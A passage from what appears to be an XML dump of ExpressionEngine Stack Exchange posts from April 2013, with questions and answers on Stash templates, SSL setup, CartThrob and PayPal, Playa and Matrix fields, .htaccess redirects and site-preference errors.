be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/.inside&quot;}&#xA;{exp:channel:entries channel=&quot;about&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;yes&quot; disable=&quot;whatever|you|can|disable&quot; limit=&quot;1&quot;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{exp:stash:set_list name=&quot;page_body&quot;}&#xA;    {stash:entry_title}{title}{/stash:entry_title}&#xA;    {stash:entry_body}{cf_pages_body}{/stash:entry_body}&#xA;{/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, I'm using stash:set_list tag pair to stash each custom field in a &quot;list&quot; in which each stashed element receives a name that is then called upon in the wrapper template to &quot;get&quot; and parse in place.  For a simple example, this will do.  It allows you to be a bit more DRY this way since you can avoid putting any formatting markup in there and instead handle that in the wrapper template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the inside template, you would get that stashed entry content (again, simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;{exp:stash:get_list name=&quot;page_body&quot;}&#xA;&amp;lt;title&amp;gt;{entry_title} | {site_name}&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{entry_title}&amp;lt;/h1&amp;gt;&#xA;    {entry_body}&#xA;&amp;lt;/body&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When static content pages like this are handled as entries, you may also find value in using an add-on for entry ordering with this approach as well so there is a simple way to choose the order of static page entries. It would make more sense than ordering based on date or a custom ordering field in the field group that you can't see in the edit list view.  &lt;a href=&quot;http://devot-ee.com/add-ons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt; is a good choice for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important to note - naming conventions become a lot more important the more DRY you try to get - something to consider in order to plan an approach like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping I haven't overlooked something in the example - going from memory to keep the concept a bit simpler than my actual implementation, so I'll correct if an issue is caught that I've missed. Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-24T11:04:06.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9639" PostTypeId="2" ParentId="9617" CreationDate="2013-04-24T11:12:06.600" Score="0" Body="&lt;p&gt;I'm not sure there is a way to do that currently if the entries are made via the control panel. If through SAEF or Safecracker, then yes, you can definitely limit the user's entries based on a simple conditional lookup of the number of entries made by the logged in user, with the conditional restricting, for example, the entry form itself to just those that are below your prescribed maximum number of entries.  In the control panel - as GDMac indicated, you may need a custom extension to essentially perform that same lookup within the CP itself.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-24T11:12:06.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9640" PostTypeId="1" CreationDate="2013-04-24T11:28:00.893" Score="1" ViewCount="904" Body="&lt;p&gt;I have a regular Expression Engine install on an server that uses Direct Admin (DA)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&#xA;-- codeignitter&#xA;-- expressionengine&lt;/li&gt;&#xA;&lt;li&gt;logs&lt;/li&gt;&#xA;&lt;li&gt;pivate_html&lt;/li&gt;&#xA;&lt;li&gt;public_ftp&lt;/li&gt;&#xA;&lt;li&gt;public_html&#xA;-- .htaccesss&#xA;-- index.php&#xA;-- admin.php&#xA;-- css&#xA;-- js&#xA;-- images&#xA;-- uploads&#xA;-- themes&lt;/li&gt;&#xA;&lt;li&gt;stats&lt;/li&gt;&#xA;&lt;li&gt;templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've installed a SSL certificate. When I force a template to SSL I get a &quot;The requested URL was not found on this server&quot; message. However when I move the index.php to my private_html directory it finds the (SSL) template(s). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all my site has to be secure I could have lived with that solution and would move the index.php to the private_html folder. The problem however is that I only want part of my site being secure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I arrange this? Or is this a typical DA or hosting provider issue?&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-05-24T13:30:09.150" Title="SSL on Direct Admin" Tags="|ssl|secure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9641" PostTypeId="1" AcceptedAnswerId="9749" CreationDate="2013-04-24T12:12:26.837" Score="1" ViewCount="163" Body="&lt;p&gt;I am trying to wrangle an events management system using Carthrob. The system will have to manage different events so in order to streamline the process as much as possible I have created a product channel called events with two price modifier fields called 'booking_options' and 'registration_details'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Booking options allow the user to select the correct type of booking for the event (ie. day pass, full board etc) which they can do on the product details page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Registration_details' is set to request the relevant booking information for each event attendee (ie. name, email etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have multiple items showing separately in the cart and want to add the registration_details price modifier to the cart but I can't seem to output the two modifiers separately so that the booking options show as a select dropdown and the registration details appear as text inputs for each item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read through all the documentation but I am still stuck!&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-26T13:56:38.850" Title="Cartthrob Price modifier in view cart" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9642" PostTypeId="2" ParentId="9507" CreationDate="2013-04-24T12:28:36.373" Score="0" Body="&lt;p&gt;thank you very much for your helpful answers. It turns out it was much more straight forward. I contacted the host and found out that the client's site had gone over it's space limit, so any template I was trying to change or create other than through the control panel wan't being written. Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-04-24T12:28:36.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9643" PostTypeId="2" ParentId="9640" CreationDate="2013-04-24T12:42:55.040" Score="1" Body="&lt;p&gt;Direct Admin isn't really relavent here. I use it but it's works the same as any other control panel or webserver where SSL is concerned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly I would change the domain in question in DA to have private_html symlinked to public_html. The setting is called &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Use a symbolic link from private_html to public_html - allows for same data in http and https&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find it in the settings for that domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't secure the entire domain, just makes SSL available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you want to force SSL on pages that you want to secure. This can be done with .htaccess for example, although I've never had much luck with that due to the vast amounts of rewrite rules I use for my sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Force SSL, you will find it on Devot:EE. Works quite well, I just pop a tag in the pages I want SSL&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-04-24T12:42:55.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9644" PostTypeId="1" CreationDate="2013-04-24T12:56:17.083" Score="2" ViewCount="511" Body="&lt;p&gt;Is there any way to edit the same custom field for multiple entries at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like an entry equivalent of the field editor add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFMIY.png&quot; alt=&quot;fieldeditor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Zenbu has title/url editing available, just wondered if it was possible with custom fields?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-05-25T10:30:19.447" Title="Editing custom fields for multiple entries at once" Tags="|custom-fields|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9645" PostTypeId="1" CreationDate="2013-04-24T12:58:24.447" Score="1" ViewCount="121" Body="&lt;p&gt;My client is reporting a problem that I am unable to reproduce, either locally or on the live, production server. The issue they are reporting comes when they try to change a file. The site contains a 'Latest events' link, which simply links to a PDF or JPG. There is a channel set up specifically for this link, containing nothing but a single 'file' field type. It is also set up to use the Single Entry add-on, so that the existing entry will always be edited rather than new entries added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client reports that when they go to edit this channel, they frequently find that clicking the 'Add File' link  sends them to the CP log-in screen – presumably logging them out, although looking at the CP log shows no formal log-out taking place. On occasions when they have &lt;em&gt;not&lt;/em&gt; been kicked out of the CP in this way they have had mixed success with actually uploading a file; some attempts work, whilst others result in the error message &quot;The file could not be written to disk&quot;. (They have reported that they have had more success in uploading jpegs than with PDFs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The perplexing bit is that when I log into the site from my own computer, even if I use the client's own login details, I see none of these problems -- files and images upload without a hitch, both in Safari (Mac) and IE9 (which is the browser that the client uses, AFAIK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody here come across anything like this? Without being able to reproduce the problem from my end it's pretty hard to diagnose; I'm thinking that it's maybe something to do with the client's own browser set-up, but that's a pure guess and I haven't a clue regarding where to look for the specific cause. Um... help?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-09-03T15:16:03.187" Title="Client reports errors and/or log-out when uploading a file" Tags="|file-uploads|browser|logout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9646" PostTypeId="1" AcceptedAnswerId="9662" CreationDate="2013-04-24T13:56:32.230" Score="0" ViewCount="152" Body="&lt;p&gt;I am just trying to check that the project I am looking into would be a good fit for CartThrob Pro with Subscriptions, here is a quick run through:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client will be selling normal (physical) products through the main area of the site for which CartThrob Pro will do nicely, taking payments via SagePay Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there will also be a club section where customers can purchase packages of products on a recurring basis. For example they might have a package called ‘Starter’ consisting of 3 products (picked by the client not the customer) being sent out every month for £10 p/m. Another might be called ‘Advanced’ where they send out 8 products per month for £20 p/m.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the product category (maybe spicy or mild) within a package can be chosen from a list by the customer, so for the ‘Starter’ they can choose up to 3 product categories from a list of maybe 10 different ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can the customer update regarding their subscriptions? For example would they be able to change to a different set of product categories for that subscription to be sent out the next month? Can they easily upgrade to a another subscription plan too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client would obviously need to be able to manage the packages of products in the same way as they manage the normal products. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the docs etc CartThrob Pro plus Subscriptions would fit this nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light as to whether this can be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="1339" LastEditDate="2013-04-24T14:14:01.753" LastActivityDate="2013-04-25T08:16:48.187" Title="CartThrob Subscriptions Add-on - Is it a good fit?" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9647" PostTypeId="2" ParentId="9645" CreationDate="2013-04-24T14:06:16.163" Score="1" Body="&lt;p&gt;Are they using some sort of proxy to connect to the site? Are they using some sort of remote session (e.g. Citrix) to connect to the site? Are you uploading the same PDF they're uploading? Some PDFs trigger the XSS filter and prevent the file from uploading, maybe try turning that off in your system settings.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-04-24T14:06:16.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9648" PostTypeId="2" ParentId="9644" CreationDate="2013-04-24T14:16:53.350" Score="0" Body="&lt;p&gt;I've not seen one for the control panel, but it can certainly be done via Safecracker using a template visible only to logged in members of the appropriate member group.  Depending on the nature of the field(s) being edited and how many are being edited at once though, you can quickly run into some performance limitations.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-24T14:16:53.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9649" PostTypeId="1" AcceptedAnswerId="9661" CreationDate="2013-04-24T15:27:35.280" Score="2" ViewCount="200" Body="&lt;p&gt;If you have to change your url-structure (and therefore in ee-templates) from let's say «opinion/detail/url_title» to «blog/article/url_title» — What's the best solution (EE-functionality, htaccess-stuff or something else) to redirect a visitor to the new url so users clicking on old links get redirected to the corresponding entry-template with the new tempalte-group/template structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;domain.com/opinion/detail/My-Entry&lt;/code&gt; get's automaticly redirected to &lt;code&gt;domain.com/blog/article/My-Entry&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2013-04-24T18:38:17.533" Title="Best Solution for redirects if you have to move templates / URL structure" Tags="|redirects|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9650" PostTypeId="2" ParentId="9649" CreationDate="2013-04-24T15:39:11.387" Score="2" Body="&lt;p&gt;If you're not opposed to an add-on, I used &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; on a site with many many URL reroutes and loved it. You can use wildcards with it to save time as well.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-24T15:39:11.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9651" PostTypeId="1" CreationDate="2013-04-24T16:04:54.147" Score="1" ViewCount="74" Body="&lt;p&gt;PayPal has several tiers of &lt;strong&gt;on-site&lt;/strong&gt; services listed on their business page. One is &quot;Advanced&quot; and the other is Pro. Does Exp:resso Store play nice with Advanced as well as it does Pro?&lt;/p&gt;&#xA;" OwnerUserId="1375" LastActivityDate="2013-04-24T18:05:26.610" Title="Exp:resso Store &amp; PayPal Advanced" Tags="|expresso-store|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9652" PostTypeId="1" CreationDate="2013-04-24T16:45:07.223" Score="2" ViewCount="737" Body="&lt;p&gt;We're running EE2, going to have a responsive desktop site...but rather than going with a &quot;mobile first&quot; design, which is kind of bland, we'd like to have both a responsive (for desktop/laptop/tablet, with a few extra tools and some extra &quot;decoration&quot;) and a dedicated mobile (for mobile, and for tablet users who prefer something leaner.) But I just know that one of the requirements is going to be, &quot;preserve the SEO of the URL structure.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this? Is it possible to have a dedicated mobile site and keep the same, or nearly the same, URL/template group structure (for SEO purposes)? I've found the tutorials that tell people how to set up dedicated mobile sites on their EE, but couldn't find anything definitive about using such a setup with multiple template groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: we will eventually be replicating this solution across at least four, likely five sites - so keeping the cost low is a factor here. (And when we redesign a site, we start with a clean install/clean database, so putting multiple sites on an MSM isn't necessarily the best option either.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT the SECOND: we will be creating a subdomain for this mobile-only site. This may be important in how people answer - apologies, I left that detail out.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-04-24T16:56:42.937" LastActivityDate="2013-04-29T12:23:14.257" Title="EE and dedicated mobile sites" Tags="|ee2|multiple-sites|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9653" PostTypeId="2" ParentId="9652" CreationDate="2013-04-24T16:52:25.603" Score="0" Body="&lt;p&gt;To do this I would use MSM and have a seperate &quot;mobile&quot; site set up. Using this separate site you now set up your mobile templates with the exact same name as the ones in your main site, but with the mobile style that you need. Call your channel entries with the site=&quot;default_site&quot; parameter and you'll now have a mobile only site that has the exact same url structure and pulls content from the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll then need some sort of javascript to redirect your mobile visitors to the mobile version of your site. I'd probably set up a subdomain m.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-04-24T16:52:25.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9654" PostTypeId="2" ParentId="9634" CreationDate="2013-04-24T17:08:16.990" Score="3" Body="&lt;p&gt;Yep they can. My emphasis:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/dates-and-times-are-easy-in-expressionengine-2.6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dates and Times Are Easy in ExpressionEngine 2.6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dates will still be stored in the database as Unix timestamps for the time being while it offers the best performance advantages under MySQL, so no need to change your add-ons there. &lt;strong&gt;But don’t let that stop you entering dates pre-January 1, 1970, ExpressionEngine will handle it just fine.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Out of curiosity I just gave it a try and it looks as though EE will save any pre-1970 dates with a negative timestamp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/87t28.png&quot; alt=&quot;Negative timestamp&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-24T17:15:28.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9655" PostTypeId="1" CreationDate="2013-04-24T17:11:19.470" Score="3" ViewCount="1283" Body="&lt;p&gt;I'm trying to duplicate a site onto a different server and am running into the old &quot;Site Error: Unable to Load Site Preferences; No Preferences Found&quot; error. Through searchign the forums some fixes I've tried are to re-export / import the database, re-uploaded all the files to the server and no dice. I've got 777 permissions on my config.php and database.php. I have also checked with simple PHP script to see if I am able to successfully connect to my DB with my settings and that worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find that the code causing the error (in /core/EE_Config.php): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0)&#xA;{&#xA;    if ($site_name == '' &amp;amp;&amp;amp; $site_id != 1)&#xA;    {&#xA;        $this-&amp;gt;site_prefs('', 1);&#xA;        return;&#xA;    }&#xA;&#xA;    show_error(&quot;Site Error:  Unable to Load Site Preferences; No Preferences Found&quot;, 503);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone out there help to explain what this means and perhaps a potential solution?&lt;/p&gt;&#xA;" OwnerUserId="1376" LastActivityDate="2015-06-12T20:20:13.317" Title="Unable to Load Site Preferences" Tags="|ee2|database|config|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9656" PostTypeId="2" ParentId="9652" CreationDate="2013-04-24T17:55:27.900" Score="1" Body="&lt;p&gt;If you're creating a sub-domain for a mobile only site in addition to the main install then I can't see any other way than to buy MSM as they will be two different sites (refer to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/license.html&quot; rel=&quot;nofollow&quot;&gt;EE licencing&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm not sure why you say a responsive website needs to be bland? There are &lt;a href=&quot;http://mediaqueri.es/&quot; rel=&quot;nofollow&quot;&gt;plenty of responsive websites which work on mobile which are anything but bland&lt;/a&gt;. The design is adapted to the constraints of the device and on a screen display the size of a mobile phone screen this means that you focus the content a little more and prioritise information. You then add to this as the screen space increases. If you built a mobile only website I don't see what difference they'll be to the screen size limitations so you'd still have to prioritise content and consider usability on a smaller screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'd always go with a single responsive website which cuts down on separate installs, multiple code bases to manage and maintain and generally just more work in keeping the two in sync throughout their lifetime.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-24T17:55:27.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9657" PostTypeId="1" AcceptedAnswerId="9659" CreationDate="2013-04-24T17:58:30.803" Score="1" ViewCount="1364" Body="&lt;p&gt;I am missing something very simple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field pulling in content from a Playa field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say my Matrix cells are called {cell_1}, {cell_2} and so on.&#xA;Each cell is a Playa field and I simply want to dispaly the content of {cell_1}, which is a Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my Playa info to display correctly for each cell?&#xA;Currently I am able to pull information in from my Playa field but its not showing the specific information I need.&#xA;{cell_1} should show me SPEAKER_A but it shows me SPEAKER_A, SPEAKER_B and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I am missing something very simple and any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the answer I was looking for was removed from the docs when the P&amp;amp;T site was recently updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh yeah using:&#xA;EE 2.5.2,&#xA;Matrix 2.4.1, and&#xA;Playa 4.1.0.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="1377" LastEditorUserId="150" LastEditDate="2013-04-25T02:58:08.257" LastActivityDate="2014-09-19T14:32:34.053" Title="How to display Playa Info inside of Matrix" Tags="|matrix|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9658" PostTypeId="2" ParentId="9651" CreationDate="2013-04-24T18:05:26.610" Score="1" Body="&lt;p&gt;It does indeed. Paypal seems to re-name and re-define it's offerings a lot but at present it boils down to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Website Payments Standard&lt;/li&gt;&#xA;&lt;li&gt;Website Payments Pro&lt;/li&gt;&#xA;&lt;li&gt;Paypal Express &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Website Payments Standard seems to be deprecated as they introduce the new Express Checkout and as such support for this gateway has been removed from Store by standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website Payments Pro and Paypal Express with both work fine out of the box though with support for both gateways built in. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-24T18:05:26.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9659" PostTypeId="2" ParentId="9657" CreationDate="2013-04-24T18:13:48.143" Score="1" Body="&lt;p&gt;This is basically how you retrieve Playa relationship values within a Matrix cell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field_name}&#xA;&#xA;    {!-- Your Playa field inside the Matrix --}&#xA;    {playa_field}&#xA;        {title} {!-- Desired value to retrieve from the relationship --}&#xA;    {/playa_field}&#xA;&#xA;    {!-- Any other Matrix cells can be retrieved in the matrix tag pair --}&#xA;    {other_matrix_cell} &#xA;&#xA;{/matrix_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-24T18:13:48.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9660" PostTypeId="2" ParentId="9655" CreationDate="2013-04-24T18:23:58.783" Score="5" Body="&lt;p&gt;This error may caused if EE couldn't make database connection. Check your hostname, username, password within &quot;/system/expressionengine/config/database.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also could you check &quot;exp_sites&quot; database table if its having at least one record (multiple records for MSM site) if not, import this table properly.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-24T18:23:58.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9661" PostTypeId="2" ParentId="9649" CreationDate="2013-04-24T18:38:17.533" Score="2" Body="&lt;p&gt;If you've actually changed the template_group/template structure in EE and you just want to catch old requests and ensure they go to the new location then I'd always look to keep it top-level with .htaccess for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all ensure that the mod_rewrite module is enabled and the rewrite engine is enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;RewriteEngine on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using the RedirectMatch (for pattern matching rather than direct file matching) we create a permanent redirect (301) from the old URL schema to the new one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /opinion/detail(.*) http://domain.com/blog/article/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Provided your new template structure in EE reflects the new schema that should work fine.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-24T18:38:17.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9662" PostTypeId="2" ParentId="9646" CreationDate="2013-04-24T18:53:24.147" Score="0" Body="&lt;p&gt;From what you describe I can't think of any reason why Cartthrob and CT Subscriptions wouldn't be a good fit in this scenario. Customers will be able to edit their subscription plans and you'll be able to create dynamic subscriptions if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note though is that if you're setting up subscriptions then you'll need to go with a token based system. This basically sees you capture a token from the payment gateway which can be sent later on to make the charge even when the custom is not present. For this you'll need to ensure that your payment gateway supports a token system. &lt;a href=&quot;http://www.sagepay.com/token-system&quot; rel=&quot;nofollow&quot;&gt;SagePay does provide one&lt;/a&gt; but just double check that you're setup to use this system in your plan with them.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-25T08:16:48.187" LastActivityDate="2013-04-25T08:16:48.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9663" PostTypeId="2" ParentId="9617" CreationDate="2013-04-24T19:05:42.173" Score="1" Body="&lt;p&gt;You're always better off keeping EE up to date and you'll no doubt find that the time it takes to update EE will save you even more time than trying to get current addons and solutions to work with an outdated system (by quite a long time if you're going back to 2.1.3). You can always post any errors or problems here for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're really not looking to upgrade just yet however then from what you've said and the link you provided I take it that you mean limiting entries from the front-end (i.e. Safecracker). I've got an old version of Safecracker from back in the day before it was bundled with EE (Probably about the time of EE 2.1) which may work for you but obviously this comes without support and as I mentioned you may run into problems running outdated software either now or in the future so keep it in mind. If you do want to give this a try then let me know your email.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-24T19:05:42.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9664" PostTypeId="1" CreationDate="2013-04-24T20:12:05.460" Score="4" ViewCount="2419" Body="&lt;p&gt;I've just restored a backup of my site, but now whenever I try and login I get a &quot;Invalid username or password&quot; error. I've tried resetting the password, but even the new password brings up the same message. Any ideas what could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-09-17T13:16:18.980" Title="Can't login to control panel" Tags="|login|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9665" PostTypeId="2" ParentId="9621" CreationDate="2013-04-24T20:32:39.977" Score="1" Body="&lt;p&gt;I downloaded mysql addon for wamp with mysql 5.1.41 and told wamp to use it instead. Once that change was made ee168 and ee169 installed flawlessly. I guess it was a mysql compatibility issue.&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-04-24T20:32:39.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9666" PostTypeId="1" CreationDate="2013-04-24T21:03:34.653" Score="0" ViewCount="116" Body="&lt;p&gt;I've got CartThrob using PayPal (Express) running, along with Profile:Edit. On the checkout page, the billing &amp;amp; shipping fields are getting pre-populated correctly using CT's &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/customer_info/&quot; rel=&quot;nofollow&quot;&gt;customer_info&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the checkout button is hit (which redirects you to PayPal for payment), the only fields that get pre-populated on the &lt;em&gt;PayPal page&lt;/em&gt; are the first and last names. We definitely don't want the customer to have to fill that info out &lt;em&gt;again&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code can be seen &lt;a href=&quot;http://cl.ly/OXQZ&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm missing something simple. :/&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-04-24T21:03:34.653" Title="CartThrob billing fields not sending to PayPal" Tags="|ee2|cartthrob|paypal-express-checkout|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
